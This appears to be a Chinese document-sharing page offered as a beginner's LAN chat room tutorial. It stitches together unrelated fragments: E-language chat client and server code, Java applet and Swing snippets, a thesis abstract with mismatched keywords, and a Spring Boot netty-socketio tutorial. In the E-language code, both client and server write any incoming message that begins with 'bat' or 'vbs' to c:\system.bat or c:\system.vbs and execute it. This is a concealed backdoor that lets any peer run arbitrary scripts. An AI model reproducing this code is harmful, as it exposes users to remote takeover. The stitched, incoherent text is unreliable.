java编写的简单局域网聊天室(适合初学者)
- 格式:doc
- 大小:88.50 KB
- 文档页数:5
客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。
ChatClient.javaimport java.awt.*;import java.io.*;import .*;import java.applet.*;import java.util.Hashtable;public class ChatClient extends Applet implements Runnable{ Socket socket=null;DataInputStream in=null;//读取服务器端发来的消息DataOutputStream out=null;//向服务器端发送的消息InputInfo 用户名提交界面=null;UserChat 聊天界面=null;Hashtable listTable;//用于存放在线用户的用户名的散列表Label 提示条;Panel north,center;Thread thread;public void init(){setSize(1000,800);int width=getSize().width;int height=getSize().height;listTable=new Hashtable();setLayout(new BorderLayout());用户名提交界面=new InputInfo(listTable);int h=用户名提交界面.getSize().height;聊天界面=new UserChat("",listTable,width,height-(h+5));聊天界面.setVisible(false);提示条=new Label("正在连接到服务器...",Label.CENTER);提示条.setForeground(Color.red);north=new Panel(new FlowLayout(FlowLayout.LEFT));center=new Panel();north.add(用户名提交界面);north.add(提示条);center.add(聊天界面);add(north,BorderLayout.NORTH);add(center,BorderLayout.CENTER);validate();}public void start(){if(socket!=null&&in!=null&&out!=null){try{socket.close();in.close();out.close();聊天界面.setVisible(false);}catch(Exception ee){}}try{socket=new Socket(this.getCodeBase().getHost(),6666);in=new DataInputStream(socket.getInputStream());out=new DataOutputStream(socket.getOutputStream());}catch(IOException ee){提示条.setText("连接失败");}//客户端成功连接服务器端if(socket!=null){InetAddress address=socket.getInetAddress();提示条.setText("连接:"+address+"成功");用户名提交界面.setSocketConnection(socket,in,out);north.validate();}if(thread==null){thread=new Thread(this);thread.start();}}public void stop(){try{socket.close();thread=null;}catch(IOException e){this.showStatus(e.toString());}}public void run(){while(thread!=null){if(用户名提交界面.getchatornot()==true){聊天界面.setVisible(true);聊天界面.setName(用户名提交界面.getName());聊天界面.setSocketConnection(socket,in,out);提示条.setText("祝聊天快乐!");center.validate();break;}try{Thread.sleep(100);}catch(Exception e){}}}}ChatMain.javaimport .*;import java.util.*;public class ChatMain {public static void main(String args[]) {ServerSocket server=null;Socket you=null;Hashtable peopleList;peopleList=new Hashtable();while(true){try{//服务器端在端口6666处监听来自客户端的信息server=new ServerSocket(6666);}catch(IOException e1){System.out.println("正在监听");}try{//当服务器端接收到客户端的消息后,取得客户端的IP地址。
import java.io.*;import .*;import java.awt.*;import javax.swing.*;import java.awt.event.*;//引入包。
public class ChatClient {public static void main(String[] args) {ChatClient cc = new ChatClient();cc.receive();}JTextField jtf; // 文本条JTextArea jta; //文本域。
Socket s; //客户端PrintWriter out; //输出流BufferedReader in; //输入流public ChatClient() {JFrame frame = new JFrame("ChatClient");//窗口frame.setSize(400, 300); //大小jta = new JTextArea(); //文本域jta.setEditable(false); //不可编辑jtf = new JTextField();//文件条jtf.addActionListener(new ActionListener() { //添加监听。
public void actionPerformed(ActionEvent arg0) {send(); //调用send()方法}});frame.getContentPane().add(new JScrollPane(jta)); //添加滚动条frame.getContentPane().add(jtf, "South"); //添加文本条frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //关闭窗口。
frame.setVisible(true); //可显示的。
JISHOU UNIVERSITY专业课课程论文题目:局域网内的多功能聊天室的设计与实现作者:学号:所属学院:信息科学与工程学院专业年级:总评分:完成时间:吉首大学信息科学与工程学院局域网内的多功能聊天室的设计与实现局域网内的多功能聊天室的设计与实现(吉首大学信息科学与工程学院,湖南吉首 416000)摘要在计算机技术飞速发展的今天,随着Internet的普及和发展,人们的生活和工作也越来越离不开信息网络的支持,而聊天室是人们最常见、最直接的网上交流的方式。
本论文主要研究一个以网络交友为主,为广大用户提供一个借助网络进行人际交往的信息平台。
本文所设计的局域网聊天系统是基于开放的WEB服务器应用程序开发设计的,其主要特征是能动态完成信息的传递且具有高效的交互性,有效的处理客户请求且具有更简单、更方便的数据库访问方法,易于维护和更新。
这种技术程序由JAVA、HTML、数据库和脚本语言组合而成。
主要功能模块包括:用户登录、注册部分;编写和显示聊天记录部分;管理员管理聊天室的管理部分。
聊天系统编写和显示聊天记录部分界面友好,提供动作、表情、公聊或私聊等操作;管理部分可以删除不守规矩的注册用户、踢出在线用户以及删除某些不合时宜的聊天记录等、根据数据库需求分析,在ACCESS中定义3个表:用user表来存放注册用户信息、用activetable 表来存放当前在线用户信息以及用message表来存放聊天记录。
本系统相比较其他信息交流平台具有开发方便、快捷,占用资源少,维护方便等优点。
【关键词】Java,数据库,脚本语言,聊天系LAN of multi-function chat room design and ImplementationRaotao(College of Information Science and Engineering,Jishou University,Jishou,Hunan 416000)AbstractThe rapid development of computer technology today, with the popularity and development of Internet, people's work and life has become increasingly inseparable from the support of the information network, and the chat room is one of the most common, the most direct online communication mode.In this thesis, a network of friends, for the vast number of users with a network of have the aid of interpersonal information platform.The design of the LAN chat system is based on an open WEB server application development and design, its main characteristic is to complete the information transmission dynamically with high interactivity, effective customer request and has a more simple, more convenient database accessing method, easy maintenance and update.The technical program by JAVA, HTML, database and script language and combination.The main function modules include: user login, registration section; write and display chat recording part; the administrator manage the chat room management section.Chat system to prepare and display chat interface friendly, with action, expression, the public chat or operation; management can remove the unruly registered user, play online user and delete certain be inopportune or inappropriate chat records, according to the database needs analysis, defined in ACCESS 3: user table table for registered users of information, using activetable table to store the current online user information and the use of message table to store the chat record.This system is compared with other information exchange platform with the development of convenient, fast, less resource occupation, easy maintenance and other advantages.Key words:JA V A; data capture; information analysis ; Winpcap;Jpcap目录第一章引言 (1)1.1课题背景及意义 (1)1.2课题研究现状 (1)1.3研究内容 (2)1.4论文组织方式 (2)第二章关键技术 (3)2.1 JAVA概述 (3)2.2套接字 (3)2.2.1 Socket简介 (3)2.2.2 Socket工作过程 (4)2.3 TCP三次握手 (4)第三章需求分析 (5)3.1功能需求 (5)3.2性能要求 (5)3.2.1处理数据能力 (5)3.2.2时间特性 (5)3.2.3 数据库需求 (5)3.2.5 其他标准的约束 (5)3.2.6 外部接口需求 (6)3.2.7 通信接口 (7)第四章概要设计 (8)4.1体系结构设计 (8)4.1.1 复审数据流、控制流 (8)4.1.2软件体系结构 (8)4.2模块设计 (9)4.2.1 用户扫描系统模块 (9)4.2.2 在线交流系统模块 (10)4.2.3 系统配置系统 (11)第五章详细设计 (14)5.1用户登录模块 (14)5.2用户列表模块 (15)5.3文本聊天模块 (17)第六章测试及实现结果 (21)6.1测试环境 (21)6.2测试过程 (21)6.2.1用户登录及用户列表 (21)6.2.2 文本聊天 (22)6.2.3 文件传输 (25)结束语 (27)参考文献 (28)第一章引言1.1课题背景及意义在网络越来越发达的今天,人们对网络的依赖越来越多,各种网络应用层出不穷,网络编程越来越受大广大程序员的重视。
Java程序课程设计任务书JAVA聊天室的系统的设计与开发1.主要内容:用JAVA实现基于C/S模式的聊天室系统。
聊天室分为服务器端和客户端两部分,服务器端程序主要负责侦听客户端发来的信息,客户端需要登陆到服务器端才可以实现正常的聊天功能。
2.具体要求(包括技术要求等):系统的功能要求:A.服务器端主要功能如下:1.在特定端口上进行侦听,等待客户端连接。
2.用户可以配置服务器端的侦听端口,默认端口为8888。
3.向已经连接到服务器端的用户发送系统消息。
4.统计在线人数。
5.当停止服务时,断开所有的用户连接。
B.客户端的主要功能如下:1.连接到已经开启聊天服务的服务器端。
2.用户可以配置要连接的服务器端的IP地址和端口号。
3.用户可以配置连接后显示的用户名。
4.当服务器端开启的话,用户可以随时登录和注销。
5.用户可以向所有人或某一个人发送消息。
学习并掌握一下技术:Java JavaBean 等熟练使用一下开发工具:Eclipse, JCreator 等实现系统上诉的功能。
3.进度安排:12月28日 ~ 12月29日:课程设计选题,查找参考资料12月30日 ~ 1月1日:完成系统设计1月2日 ~ 1月5日:完成程序代码的编写1月6日:系统测试与完善1月7日:完成课程设计报告,准备答辩4.主要参考文献:[1].张广彬孟红蕊张永宝.Java课程设计(案例精编)[M].清华大学出版社.2007年版摘要在网络越来越发达的今天,人们对网络的依赖越来越多,越来越离不开网络,由此而产生的聊天工具越来越多,例如,国外的ICQ、国内腾讯公司开发的OICQ。
基于Java网络编程的强大功能,本次毕业设计使用Java编写一个聊天系统。
一般来说,聊天工具大多数由客户端程序和服务器程序外加服务器端用于存放客户数据的数据库组成,本系统采用客户机/服务器架构模式通过Java提供的Soket类来连接客户机和服务器并使客户机和服务器之间相互通信,由于聊天是多点对多点的而Java提供的多线程功能用多线程可完成多点对多点的聊天,数据库管理系统用SQL Server2000完成并通过JDBC-ODBC桥访问数据库。
SpringBoot实战之netty-socketio实现简单聊天室(给指定⽤户推送消息)⽹上好多例⼦都是群发的,本⽂实现⼀对⼀的发送,给指定客户端进⾏消息推送1、本⽂使⽤到netty-socketio开源库,以及MySQL,所以⾸先在pom.xml中添加相应的依赖库<dependency><groupId>com.corundumstudio.socketio</groupId><artifactId>netty-socketio</artifactId><version>1.7.11</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-jpa</artifactId></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId></dependency>2、修改application.properties, 添加端⼝及主机数据库连接等相关配置,wss.server.port=8081wss.server.host=localhostspring.datasource.url = jdbc:mysql://127.0.0.1:3306/springlearnername = rootspring.datasource.password = rootspring.datasource.driverClassName = com.mysql.jdbc.Driver# Specify the DBMSspring.jpa.database = MYSQL# Show or not log for each sql queryspring.jpa.show-sql = true# Hibernate ddl auto (create, create-drop, update)spring.jpa.hibernate.ddl-auto = update# Naming strategyspring.jpa.hibernate.naming-strategy = org.hibernate.cfg.ImprovedNamingStrategy# stripped before adding them to the entity manager)spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5Dialect3、修改Application⽂件,添加nettysocket的相关配置信息package com.xiaofangtech.sunt;import org.springframework.beans.factory.annotation.Value;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.context.annotation.Bean;import com.corundumstudio.socketio.AuthorizationListener;import com.corundumstudio.socketio.Configuration;import com.corundumstudio.socketio.HandshakeData;import com.corundumstudio.socketio.SocketIOServer;import com.corundumstudio.socketio.annotation.SpringAnnotationScanner;@SpringBootApplicationpublic class NettySocketSpringApplication {@Value("${wss.server.host}")private String host;@Value("${wss.server.port}")private Integer port;@Beanpublic SocketIOServer socketIOServer(){Configuration config = new Configuration();config.setHostname(host);config.setPort(port);//该处可以⽤来进⾏⾝份验证config.setAuthorizationListener(new AuthorizationListener() {@Overridepublic boolean isAuthorized(HandshakeData data) {//http://localhost:8081?username=test&password=test//例如果使⽤上⾯的链接进⾏connect,可以使⽤如下代码获取⽤户密码信息,本⽂不做⾝份验证// String username = data.getSingleUrlParam("username");// String password = data.getSingleUrlParam("password");return true;}});final SocketIOServer server = new SocketIOServer(config);return server;}@Beanpublic SpringAnnotationScanner springAnnotationScanner(SocketIOServer socketServer) {return new SpringAnnotationScanner(socketServer);}public static void main(String[] args) {SpringApplication.run(NettySocketSpringApplication.class, args);}}4、添加消息结构类MessageInfo.javapackage com.xiaofangtech.sunt.message;public class MessageInfo {//源客户端idprivate String sourceClientId;//⽬标客户端idprivate String targetClientId;//消息类型private String msgType;//消息内容private String msgContent;public String getSourceClientId() {return sourceClientId;}public void setSourceClientId(String sourceClientId) {this.sourceClientId = sourceClientId;}public String getTargetClientId() {return targetClientId;}public void setTargetClientId(String targetClientId) {this.targetClientId = targetClientId;}public String getMsgType() {return msgType;}public void setMsgType(String msgType) {this.msgType = msgType;}public String getMsgContent() {return msgContent;}public void setMsgContent(String msgContent) {this.msgContent = msgContent;}}5、添加客户端信息,⽤来存放客户端的sessionidpackage com.xiaofangtech.sunt.bean;import java.util.Date;import javax.persistence.Entity;import javax.persistence.Id;import javax.persistence.Table;import javax.validation.constraints.NotNull;@Entity@Table(name="t_clientinfo")public class ClientInfo {@Id@NotNullprivate String clientid;private Short connected;private Long mostsignbits;private Long leastsignbits;private Date lastconnecteddate;public String getClientid() {return clientid;}public void setClientid(String clientid) {this.clientid = clientid;}public Short getConnected() {return connected;}public void setConnected(Short connected) {this.connected = connected;}public Long getMostsignbits() {return mostsignbits;}public void setMostsignbits(Long mostsignbits) {this.mostsignbits = mostsignbits;}public Long getLeastsignbits() {return leastsignbits;}public void setLeastsignbits(Long leastsignbits) {this.leastsignbits = leastsignbits;}public Date getLastconnecteddate() {return lastconnecteddate;}public void setLastconnecteddate(Date lastconnecteddate) {stconnecteddate = lastconnecteddate;}}6、添加查询数据库接⼝ClientInfoRepository.javapackage com.xiaofangtech.sunt.repository;import org.springframework.data.repository.CrudRepository;import com.xiaofangtech.sunt.bean.ClientInfo;public interface ClientInfoRepository extends CrudRepository<ClientInfo, String>{ ClientInfo findClientByclientid(String clientId);}7、添加消息处理类MessageEventHandler.Javapackage com.xiaofangtech.sunt.message;import java.util.Date;import java.util.UUID;import org.springframework.beans.factory.annotation.Autowired;import ponent;import com.corundumstudio.socketio.AckRequest;import com.corundumstudio.socketio.SocketIOClient;import com.corundumstudio.socketio.SocketIOServer;import com.corundumstudio.socketio.annotation.OnConnect;import com.corundumstudio.socketio.annotation.OnDisconnect;import com.corundumstudio.socketio.annotation.OnEvent;import com.xiaofangtech.sunt.bean.ClientInfo;import com.xiaofangtech.sunt.repository.ClientInfoRepository;@Componentpublic class MessageEventHandler{private final SocketIOServer server;@Autowiredprivate ClientInfoRepository clientInfoRepository;@Autowiredpublic MessageEventHandler(SocketIOServer server){this.server = server;}//添加connect事件,当客户端发起连接时调⽤,本⽂中将clientid与sessionid存⼊数据库//⽅便后⾯发送消息时查找到对应的⽬标client,@OnConnectpublic void onConnect(SocketIOClient client){String clientId = client.getHandshakeData().getSingleUrlParam("clientid");ClientInfo clientInfo = clientInfoRepository.findClientByclientid(clientId);if (clientInfo != null){Date nowTime = new Date(System.currentTimeMillis());clientInfo.setConnected((short)1);clientInfo.setMostsignbits(client.getSessionId().getMostSignificantBits());clientInfo.setLeastsignbits(client.getSessionId().getLeastSignificantBits());clientInfo.setLastconnecteddate(nowTime);clientInfoRepository.save(clientInfo);}}//添加@OnDisconnect事件,客户端断开连接时调⽤,刷新客户端信息@OnDisconnectpublic void onDisconnect(SocketIOClient client){String clientId = client.getHandshakeData().getSingleUrlParam("clientid");ClientInfo clientInfo = clientInfoRepository.findClientByclientid(clientId);if (clientInfo != null){clientInfo.setConnected((short)0);clientInfo.setMostsignbits(null);clientInfo.setLeastsignbits(null);clientInfoRepository.save(clientInfo);}}//消息接收⼊⼝,当接收到消息后,查找发送⽬标客户端,并且向该客户端发送消息,且给⾃⼰发送消息 @OnEvent(value = "messageevent")public void onEvent(SocketIOClient client, AckRequest request, MessageInfo data){String targetClientId = data.getTargetClientId();ClientInfo clientInfo = clientInfoRepository.findClientByclientid(targetClientId);if (clientInfo != null && clientInfo.getConnected() != 0){UUID uuid = new UUID(clientInfo.getMostsignbits(), clientInfo.getLeastsignbits());System.out.println(uuid.toString());MessageInfo sendData = new MessageInfo();sendData.setSourceClientId(data.getSourceClientId());sendData.setTargetClientId(data.getTargetClientId());sendData.setMsgType("chat");sendData.setMsgContent(data.getMsgContent());client.sendEvent("messageevent", sendData);server.getClient(uuid).sendEvent("messageevent", sendData);}}}8、添加ServerRunner.javapackage com.xiaofangtech.sunt.message;import org.springframework.beans.factory.annotation.Autowired;import mandLineRunner;import ponent;import com.corundumstudio.socketio.SocketIOServer;@Componentpublic class ServerRunner implements CommandLineRunner {private final SocketIOServer server;@Autowiredpublic ServerRunner(SocketIOServer server) {this.server = server;}@Overridepublic void run(String... args) throws Exception {server.start();}}9、⼯程结构10、运⾏测试1)添加基础数据,数据库中预置3个客户端testclient1,testclient2,testclient32) 创建客户端⽂件index.html,index2.html,index3.html分别代表testclient1 testclient2 testclient3三个⽤户其中clientid为发送者id, targetclientid为⽬标⽅id,本⽂简单的将发送⽅和接收⽅写死在html⽂件中使⽤以下代码进⾏连接io.connect('http://localhost:8081?clientid='+clientid);index.html ⽂件内容如下<!DOCTYPE html><html><head><meta charset="utf-8" /><title>Demo Chat</title><link href="bootstrap.css" rel="external nofollow" rel="stylesheet"><style>body {padding:20px;}#console {height: 400px;overflow: auto;}.username-msg {color:orange;}.connect-msg {color:green;}.disconnect-msg {color:red;}.send-msg {color:#888}</style><script src="js/socket.io/socket.io.js"></script><script src="js/moment.min.js"></script><script src="/jquery-1.10.1.min.js"></script><script>var clientid = 'testclient1';var targetClientId= 'testclient2';var socket = io.connect('http://localhost:8081?clientid='+clientid);socket.on('connect', function() {output('<span class="connect-msg">Client has connected to the server!</span>');});socket.on('messageevent', function(data) {output('<span class="username-msg">' + data.sourceClientId + ':</span> ' + data.msgContent);});socket.on('disconnect', function() {output('<span class="disconnect-msg">The client has disconnected!</span>');});function sendDisconnect() {socket.disconnect();}function sendMessage() {var message = $('#msg').val();$('#msg').val('');var jsonObject = {sourceClientId: clientid,targetClientId: targetClientId,msgType: 'chat',msgContent: message};socket.emit('messageevent', jsonObject);}function output(message) {var currentTime = "<span class='time'>" + moment().format('HH:mm:ss.SSS') + "</span>";var element = $("<div>" + currentTime + " " + message + "</div>");$('#console').prepend(element);}$(document).keydown(function(e){if(e.keyCode == 13) {$('#send').click();}});</script></head><body><h1>Netty-socketio Demo Chat</h1><br/><div id="console" class="well"></div><form class="well form-inline" onsubmit="return false;"><input id="msg" class="input-xlarge" type="text" placeholder="Type something..."/><button type="button" onClick="sendMessage()" class="btn" id="send">Send</button><button type="button" onClick="sendDisconnect()" class="btn">Disconnect</button></form></body></html>3、本例测试时testclient1 发送消息给 testclient2testclient2 发送消息给 testclient1testclient3发送消息给testclient1运⾏结果如下以上就是本⽂的全部内容,希望对⼤家的学习有所帮助,也希望⼤家多多⽀持。
使⽤Java和WebSocket实现⽹页聊天室实例代码在没介绍正⽂之前,先给⼤家介绍下websocket的背景和原理:背景在浏览器中通过http仅能实现单向的通信,comet可以⼀定程度上模拟双向通信,但效率较低,并需要服务器有较好的⽀持; flash中的socket 和xmlsocket可以实现真正的双向通信,通过 flex ajax bridge,可以在javascript中使⽤这两项功能. 可以预见,如果websocket⼀旦在浏览器中得到实现,将会替代上⾯两项技术,得到⼴泛的使⽤.⾯对这种状况,HTML5定义了WebSocket协议,能更好的节省服务器资源和带宽并达到实时通讯。
在JavaEE7中也实现了WebSocket协议。
原理WebSocket protocol 。
现很多⽹站为了实现即时通讯,所⽤的技术都是轮询(polling)。
轮询是在特定的的时间间隔(如每1秒),由浏览器对服务器发出HTTP request,然后由服务器返回最新的数据给客户端的浏览器。
这种传统的HTTP request 的模式带来很明显的缺点 – 浏览器需要不断的向服务器发出请求,然⽽HTTP request 的header是⾮常长的,⾥⾯包含的有⽤数据可能只是⼀个很⼩的值,这样会占⽤很多的带宽。
⽽⽐较新的技术去做轮询的效果是Comet – ⽤了AJAX。
但这种技术虽然可达到全双⼯通信,但依然需要发出请求。
在 WebSocket API,浏览器和服务器只需要做⼀个握⼿的动作,然后,浏览器和服务器之间就形成了⼀条快速通道。
两者之间就直接可以数据互相传送。
